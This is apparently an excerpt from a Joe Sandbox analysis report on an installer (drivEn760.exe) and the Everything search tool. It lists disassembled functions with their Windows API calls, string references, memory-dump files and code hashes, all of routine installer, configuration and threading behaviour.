Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98

Function 00405F37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F47
lstrcatW.KERNEL32(?,0040A014), ref: 00405F59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED

Function 0040563E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040566D
CallWindowProcW.USER32(?,?,?,?), ref: 004056BE

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Strings

, xrefs: 0040564E

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D

Function 00405F83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp,0040313C,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\drivEn760.exe,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 00405F89
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp,0040313C,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\drivEn760.exe,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 00405F99

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00405F83

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 2709904686-1943935188
Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction ID: bd974b3f77e4b05eb9372a1ad14375fba7b947cfa10dd8d614d5bb7090e452f7
Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction Fuzzy Hash: 6CD05EB2401D219EC3126B04DC00D9F63ACEF51301B4A4866E441AB1A0DB7C5D9186A9

Function 004060BD Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004060E5
CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798

Analysis Process: Everything.exePID: 6576, Parent PID: 4788COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.6%
Total number of Nodes:	711
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF63D47B7B0 Relevance: 94.3, APIs: 1, Strings: 61, Instructions: 1302COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D5E5DE0: CloseHandle.KERNEL32(?,?,00000001,00007FF63D47B7E8), ref: 00007FF63D5E5EAD

GetLastError.KERNEL32 ref: 00007FF63D47CBB6

Strings

connect_history_link_types, xrefs: 00007FF63D47C469
thumbnail_mouseover_border_color, xrefs: 00007FF63D47BDEC
refs_volume_roots, xrefs: 00007FF63D47C0C7
etp_client_rewrite_patterns, xrefs: 00007FF63D47C4F1
folder_update_types, xrefs: 00007FF63D47C390
allow_index_change, xrefs: 00007FF63D47B890
column_pos, xrefs: 00007FF63D47BB32
ntfs_volume_monitors, xrefs: 00007FF63D47BF7C
folder_update_ats, xrefs: 00007FF63D47C35A
%s_%s_%s_keys, xrefs: 00007FF63D47C8EC
preview_background_color, xrefs: 00007FF63D47BEB4
column_visible, xrefs: 00007FF63D47BADD
app_data, xrefs: 00007FF63D47B8CA
.ini, xrefs: 00007FF63D47B8FA
refs_volume_includes, xrefs: 00007FF63D47C0AE
ntfs_volume_load_recent_changes, xrefs: 00007FF63D47BFAD
folder_rescan_if_full_list, xrefs: 00007FF63D47C3AB
font, xrefs: 00007FF63D47C523
open_folder_command, xrefs: 00007FF63D47BA32
connect_history_usernames, xrefs: 00007FF63D47C47F
Everything, xrefs: 00007FF63D47B7F9, 00007FF63D47B901
ntfs_volume_guids, xrefs: 00007FF63D47C01D
background_color, xrefs: 00007FF63D47C5E3
foreground_color, xrefs: 00007FF63D47C6E0
refs_volume_guids, xrefs: 00007FF63D47C0FE
bold, xrefs: 00007FF63D47C7DF
failed to load config empty ini, xrefs: 00007FF63D47CB96
refs_volume_load_recent_changes, xrefs: 00007FF63D47C093
translucent_selection_rectangle_background_color, xrefs: 00007FF63D47BBEC
folder_update_days, xrefs: 00007FF63D47C375
explore_command, xrefs: 00007FF63D47B96E
refs_volume_monitors, xrefs: 00007FF63D47C062
open_file_command, xrefs: 00007FF63D47BA01
explore_path_command, xrefs: 00007FF63D47B9D0
filelists, xrefs: 00007FF63D47C21D
ntfs_volume_paths, xrefs: 00007FF63D47BFFF
translucent_selection_rectangle_border_color, xrefs: 00007FF63D47BD24
refs_volume_paths, xrefs: 00007FF63D47C0E0
run_as_admin, xrefs: 00007FF63D47B821
folder_monitor_changes, xrefs: 00007FF63D47C3DD
ntfs_volume_roots, xrefs: 00007FF63D47BFE6
ntfs_volume_includes, xrefs: 00007FF63D47BFCD
font_size, xrefs: 00007FF63D47C570
folders, xrefs: 00007FF63D47C3FB
allow_http_server, xrefs: 00007FF63D47B846
folder_update_intervals, xrefs: 00007FF63D47C33C
refs_volume_include_onlys, xrefs: 00007FF63D47C078
%s_%s_keys, xrefs: 00007FF63D47C90E
connect_history_ports, xrefs: 00007FF63D47C498
folder_update_interval_types, xrefs: 00007FF63D47C326
connect_history_hosts, xrefs: 00007FF63D47C4B1
exclude_folders, xrefs: 00007FF63D47C143
ntfs_volume_include_onlys, xrefs: 00007FF63D47BF92
folder_buffer_size_list, xrefs: 00007FF63D47C3C4
etp_client_rewrite_substitutions, xrefs: 00007FF63D47C4DB
allow_etp_server, xrefs: 00007FF63D47B86B
filelist_monitor_changes, xrefs: 00007FF63D47C207
failed to load config %s %d, xrefs: 00007FF63D47CBBC
column_width, xrefs: 00007FF63D47BB7F
open_folder_path_command, xrefs: 00007FF63D47B99F
%s_%s, xrefs: 00007FF63D47BAE4, 00007FF63D47BB39, 00007FF63D47BB86, 00007FF63D47C52A, 00007FF63D47C577, 00007FF63D47C5EA, 00007FF63D47C6E7, 00007FF63D47C7E6

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID: %s_%s$%s_%s_%s_keys$%s_%s_keys$.ini$Everything$allow_etp_server$allow_http_server$allow_index_change$app_data$background_color$bold$column_pos$column_visible$column_width$connect_history_hosts$connect_history_link_types$connect_history_ports$connect_history_usernames$etp_client_rewrite_patterns$etp_client_rewrite_substitutions$exclude_folders$explore_command$explore_path_command$failed to load config %s %d$failed to load config empty ini$filelist_monitor_changes$filelists$folder_buffer_size_list$folder_monitor_changes$folder_rescan_if_full_list$folder_update_ats$folder_update_days$folder_update_interval_types$folder_update_intervals$folder_update_types$folders$font$font_size$foreground_color$ntfs_volume_guids$ntfs_volume_include_onlys$ntfs_volume_includes$ntfs_volume_load_recent_changes$ntfs_volume_monitors$ntfs_volume_paths$ntfs_volume_roots$open_file_command$open_folder_command$open_folder_path_command$preview_background_color$refs_volume_guids$refs_volume_include_onlys$refs_volume_includes$refs_volume_load_recent_changes$refs_volume_monitors$refs_volume_paths$refs_volume_roots$run_as_admin$thumbnail_mouseover_border_color$translucent_selection_rectangle_background_color$translucent_selection_rectangle_border_color
API String ID: 918212764-3836139288
Opcode ID: db7567cc65027f267cc5bbfc8fa277ad13ad9742eaae11fbec128bb1a9a0e835
Instruction ID: 223ce0e5af9735f031dd048c8904d395007873660b613f1046290054890c0ba1
Opcode Fuzzy Hash: db7567cc65027f267cc5bbfc8fa277ad13ad9742eaae11fbec128bb1a9a0e835
Instruction Fuzzy Hash: C4C2D2A1E0CA9F91FF119BA1A8502B92791AF46B84F454036E96DC779BFF2CE005F740

Function 00007FF63D54FD80 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 193
librarythreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FDB1
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FDF1
SetThreadPriority.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FDFD
ResetEvent.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FE07
SetEvent.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FE19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FE39

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

CreateEventW.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FE78
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FE83

Part of subcall function 00007FF63D524180: RegisterEventSourceW.ADVAPI32 ref: 00007FF63D524247
Part of subcall function 00007FF63D524180: ReportEventW.ADVAPI32 ref: 00007FF63D524286
Part of subcall function 00007FF63D524180: DeregisterEventSource.ADVAPI32 ref: 00007FF63D52428F
Part of subcall function 00007FF63D524180: ExitProcess.KERNEL32 ref: 00007FF63D52430F

CreateEventW.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FEBD
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF63D552EF5), ref: 00007FF63D54FEC8
GetLastError.KERNEL32 ref: 00007FF63D54FF39
GetSystemDirectoryW.KERNEL32 ref: 00007FF63D54FFF7
LoadLibraryExW.KERNELBASE ref: 00007FF63D55007C

Strings

os_thread_create, xrefs: 00007FF63D54FF46
os_event_create, xrefs: 00007FF63D54FE90, 00007FF63D54FED5
.\src\os.c, xrefs: 00007FF63D54FE97, 00007FF63D54FEDC, 00007FF63D54FF4D
new thread (%d), xrefs: 00007FF63D54FE46
failed to create thread %d: %p, xrefs: 00007FF63D54FF3F
failed to create event %d, xrefs: 00007FF63D54FE89, 00007FF63D54FECE
create thread, xrefs: 00007FF63D54FD9E

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Event$CriticalErrorLastSection$CreateHeapLeaveProcessSource$AllocDeregisterDirectoryEnterExitLibraryLoadPriorityRegisterReportResetSystemThread
String ID: .\src\os.c$create thread$failed to create event %d$failed to create thread %d: %p$new thread (%d)$os_event_create$os_thread_create
API String ID: 2487606092-3768514261
Opcode ID: 00d2ff238357449508522a37c24dcbf82c77c61e248b8b58f6cf9779bf902a4e
Instruction ID: de7ef4e590286d50d732c4346eea175e5fec59bf44687b0fe891eb57f7812a8d
Opcode Fuzzy Hash: 00d2ff238357449508522a37c24dcbf82c77c61e248b8b58f6cf9779bf902a4e
Instruction Fuzzy Hash: EA915D32E08A5A92EB20DFA4E4501AA73A1FF85758F404132EA5DC37A9FF3CE555E740

Function 00007FF63D53B440 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D545550: CreateFileW.KERNELBASE ref: 00007FF63D5455D2
Part of subcall function 00007FF63D545550: GetLastError.KERNEL32 ref: 00007FF63D5455EB
Part of subcall function 00007FF63D545550: GetLastError.KERNEL32 ref: 00007FF63D5455F6

ReadFile.KERNELBASE ref: 00007FF63D53B520
ReadFile.KERNEL32 ref: 00007FF63D53B5DB
GetSystemDefaultLangID.KERNEL32 ref: 00007FF63D53B659
ReadFile.KERNELBASE ref: 00007FF63D53B570

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

SetFilePointer.KERNELBASE ref: 00007FF63D53BA34
ReadFile.KERNELBASE ref: 00007FF63D53BA68
CloseHandle.KERNELBASE ref: 00007FF63D53BCA4

Strings

version %d, xrefs: 00007FF63D53B590
got header, xrefs: 00007FF63D53B5F7
count %d, xrefs: 00007FF63D53B6BD
header size %d, xrefs: 00007FF63D53B54B
lng file opened!, xrefs: 00007FF63D53B4EB
Everything.lng, xrefs: 00007FF63D53B495
system default lid %04x, xrefs: 00007FF63D53B669

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

